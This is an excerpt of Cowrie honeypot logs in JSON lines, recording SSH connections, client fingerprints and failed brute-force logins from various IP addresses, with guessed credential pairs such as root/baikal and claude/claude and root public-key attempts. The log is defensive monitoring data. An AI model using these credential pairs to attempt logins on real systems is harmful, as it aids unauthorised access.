f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:42.061712Z","src_ip":"43.156.136.152","session":"201bb012d405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":49492,"dst_ip":"10.17.0.5","dst_port":22,"session":"2baec8e158b2","protocol":"ssh","message":"New connection: 20.203.59.187:49492 (10.17.0.5:22) [session: 2baec8e158b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:42.792816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:42.797808Z","src_ip":"20.203.59.187","session":"2baec8e158b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:42.969329Z","src_ip":"20.203.59.187","session":"2baec8e158b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baikal","message":"login attempt [root/baikal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:43.048542Z","src_ip":"43.156.136.152","session":"201bb012d405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:43.673704Z","src_ip":"20.203.59.187","session":"2baec8e158b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:44.290768Z","src_ip":"43.156.136.152","session":"201bb012d405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:44.844621Z","src_ip":"20.203.59.187","session":"2baec8e158b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":39050,"dst_ip":"10.17.0.5","dst_port":22,"session":"d47b7704fee5","protocol":"ssh","message":"New connection: 43.153.56.192:39050 (10.17.0.5:22) [session: d47b7704fee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:58.040629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:58.045079Z","src_ip":"43.153.56.192","session":"d47b7704fee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:58.113199Z","src_ip":"43.153.56.192","session":"d47b7704fee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test01","message":"login attempt [root/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:58.420400Z","src_ip":"43.153.56.192","session":"d47b7704fee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:59.492263Z","src_ip":"43.153.56.192","session":"d47b7704fee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":24638,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd917ee8de36","protocol":"ssh","message":"New connection: 190.119.63.98:24638 (10.17.0.5:22) [session: dd917ee8de36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:08.493860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:08.504639Z","src_ip":"190.119.63.98","session":"dd917ee8de36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:08.679314Z","src_ip":"190.119.63.98","session":"dd917ee8de36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buddy","message":"login attempt [root/buddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:09.337777Z","src_ip":"190.119.63.98","session":"dd917ee8de36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:10.470528Z","src_ip":"190.119.63.98","session":"dd917ee8de36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":48882,"dst_ip":"10.17.0.5","dst_port":22,"session":"6490d76ba321","protocol":"ssh","message":"New connection: 43.153.50.197:48882 (10.17.0.5:22) [session: 6490d76ba321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:11.907728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:11.912968Z","src_ip":"43.153.50.197","session":"6490d76ba321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:11.981560Z","src_ip":"43.153.50.197","session":"6490d76ba321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:12.286720Z","src_ip":"43.153.50.197","session":"6490d76ba321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.280256509780884,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:12.796767Z","src_ip":"192.119.13.58","session":"a82e16d5badd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:13.358412Z","src_ip":"43.153.50.197","session":"6490d76ba321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56484,"dst_ip":"159.203.135.109","dst_port":22,"session":"88bad9e76556","protocol":"ssh","message":"New connection: 89.223.69.22:56484 (159.203.135.109:22) [session: 88bad9e76556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:22.282315Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":37974,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c1418e0b759","protocol":"ssh","message":"New connection: 43.134.1.45:37974 (10.17.0.5:22) [session: 6c1418e0b759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:23.608901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:23.613913Z","src_ip":"43.134.1.45","session":"6c1418e0b759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:23.859264Z","src_ip":"43.134.1.45","session":"6c1418e0b759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mima2013","message":"login attempt [root/mima2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:24.871678Z","src_ip":"43.134.1.45","session":"6c1418e0b759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:26.120979Z","src_ip":"43.134.1.45","session":"6c1418e0b759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.106.159","src_port":47142,"dst_ip":"10.17.0.5","dst_port":22,"session":"67912b1c3e29","protocol":"ssh","message":"New connection: 198.199.106.159:47142 (10.17.0.5:22) [session: 67912b1c3e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.181282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.186269Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.282284Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:7c:f8:5b:cc:44:72:7e:3e:c1:6c:5a:d2:8f:cf:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoNMt6qqbpP8rTGY8aYaNDGfTNlwE0UAT2RuEeNbcTqB6Bej/4S83Z/tlkQd8woJ6yft5xWZwr7AytNOIkHJRJdt7k+0+v3fuNsz/GLBr0HUoXDaac7dXwGZImbfsBfUK5ucKNokkqdno+MYp3vX4uZ/KuBZwRILJfysWQq3zN4DKRRv7VROCBx92EwW6Kn8zYfeJnkrKHLBuBLgmZP7DwKXYxaENI3jpzRgZ1BwYvuzUTea3papd2lyimSIMgz2V5fsT9Sgemf65Ism4ZktBs9VExM67Jghv59rHzwEhCsHIdUY7uAI5PhTvBXL8s1N+BBswVFrYA9qqPlRCvQv6t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:7c:f8:5b:cc:44:72:7e:3e:c1:6c:5a:d2:8f:cf:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.623322Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:7c:f8:5b:cc:44:72:7e:3e:c1:6c:5a:d2:8f:cf:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoNMt6qqbpP8rTGY8aYaNDGfTNlwE0UAT2RuEeNbcTqB6Bej/4S83Z/tlkQd8woJ6yft5xWZwr7AytNOIkHJRJdt7k+0+v3fuNsz/GLBr0HUoXDaac7dXwGZImbfsBfUK5ucKNokkqdno+MYp3vX4uZ/KuBZwRILJfysWQq3zN4DKRRv7VROCBx92EwW6Kn8zYfeJnkrKHLBuBLgmZP7DwKXYxaENI3jpzRgZ1BwYvuzUTea3papd2lyimSIMgz2V5fsT9Sgemf65Ism4ZktBs9VExM67Jghv59rHzwEhCsHIdUY7uAI5PhTvBXL8s1N+BBswVFrYA9qqPlRCvQv6t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.627160Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:bc:ac:6f:42:18:08:b0:75:5d:32:c8:8b:8b:45:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyIeW/rXy6S/uco6y1n630sh8Tq7i1Vjeo2N7PR3jVfhhxaNL/xVQwS/emLrV9Luo24k/tLcX3BXIiWka06XZc5ueX3yvePSP3ej1IniTzBcq9kHZPdQAJ1YBm7cqMzeNP34Txq/L0/YsO1FoaJrbQ9Y8eSLkk35TszVCM4QVjvBVyINjCPV+nd+8vNLqMVKHiUEaWhOor7AW4rMpKeLjusG9bn8D11oJGELKSbXM0OrtpFt0KPqNTc6T6q3o8+c5XNXiwQcbNSpNVuROpFwWgyqNNUsx9iwjzMvuX3ZNMT7chN3q76H5Ta1JGx4tl+PlvJwcLci0OLxk8D7gn5UDckfORH+C77A8HnwSqHw6MzR+lzRa8vS9fvfYK1IdqtId9L9l9agTGD+KqNg8sz1m4/v6CBR+xCu5zlRBDLuc3kp+PbCCokwgbc6IDx6WBHfI3FRwgjT0zTPCGv9Z4oJILbqYetR5H7ZYazfN4E0K0xa4ccruSLlffLtJAj7ck+phvtMbe9C9uq7yYBTbjuqjKXIsAxLpfZhF4c0Qz7T8Z/2WHIRilDJUlnQwWNEhXTTcc9gn4YP3tqouSpOtCA8foV8nXLeMdrM249M6aRj3uf/nD/CIAIm6B07A5j4JRRT9OX57Agu8zj8S12kGoynqVi0DiYre0AhxwenxTW63mHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:bc:ac:6f:42:18:08:b0:75:5d:32:c8:8b:8b:45:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.703564Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:bc:ac:6f:42:18:08:b0:75:5d:32:c8:8b:8b:45:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyIeW/rXy6S/uco6y1n630sh8Tq7i1Vjeo2N7PR3jVfhhxaNL/xVQwS/emLrV9Luo24k/tLcX3BXIiWka06XZc5ueX3yvePSP3ej1IniTzBcq9kHZPdQAJ1YBm7cqMzeNP34Txq/L0/YsO1FoaJrbQ9Y8eSLkk35TszVCM4QVjvBVyINjCPV+nd+8vNLqMVKHiUEaWhOor7AW4rMpKeLjusG9bn8D11oJGELKSbXM0OrtpFt0KPqNTc6T6q3o8+c5XNXiwQcbNSpNVuROpFwWgyqNNUsx9iwjzMvuX3ZNMT7chN3q76H5Ta1JGx4tl+PlvJwcLci0OLxk8D7gn5UDckfORH+C77A8HnwSqHw6MzR+lzRa8vS9fvfYK1IdqtId9L9l9agTGD+KqNg8sz1m4/v6CBR+xCu5zlRBDLuc3kp+PbCCokwgbc6IDx6WBHfI3FRwgjT0zTPCGv9Z4oJILbqYetR5H7ZYazfN4E0K0xa4ccruSLlffLtJAj7ck+phvtMbe9C9uq7yYBTbjuqjKXIsAxLpfZhF4c0Qz7T8Z/2WHIRilDJUlnQwWNEhXTTcc9gn4YP3tqouSpOtCA8foV8nXLeMdrM249M6aRj3uf/nD/CIAIm6B07A5j4JRRT9OX57Agu8zj8S12kGoynqVi0DiYre0AhxwenxTW63mHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.707413Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:ca:de:66:7e:35:f4:c9:af:6c:3f:5d:31:fb:b6:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxbKd0UW5bF7XiAS7+z/ih93Ki8q1ldW0P9wTkzq8m9b6FBQUyYDpIiXm8goLrTuUGsGOnPeZS/MBMt8eSQYOdeQ798HlFDgts9XeDds0o3Ts2/6udkazp4ThYs/42AEBs9p5HUROHmXJnClxOXsEXC+DRqFtFCbTDV8AmP7b0KSCWRsFl5FqkbUadq575rhApzVKO3m3CZ9E8bKL6OP4yxZCWc3lV9Ju/2qf9bZuaoqnLeugBWd0vG5Hvky6qo/tqpkOTum0QL45mSrrqlDXt81FWyOe6fdVGCakgG0o11nVaTYuhUJbC3vw68LQ18PxYo/Y1MaqRQ7nikRBPQqAt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:ca:de:66:7e:35:f4:c9:af:6c:3f:5d:31:fb:b6:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:21:31.780393Z","src_ip":"198.199.106.159","session":"67912b1c3e29","protocol":"ssh"}
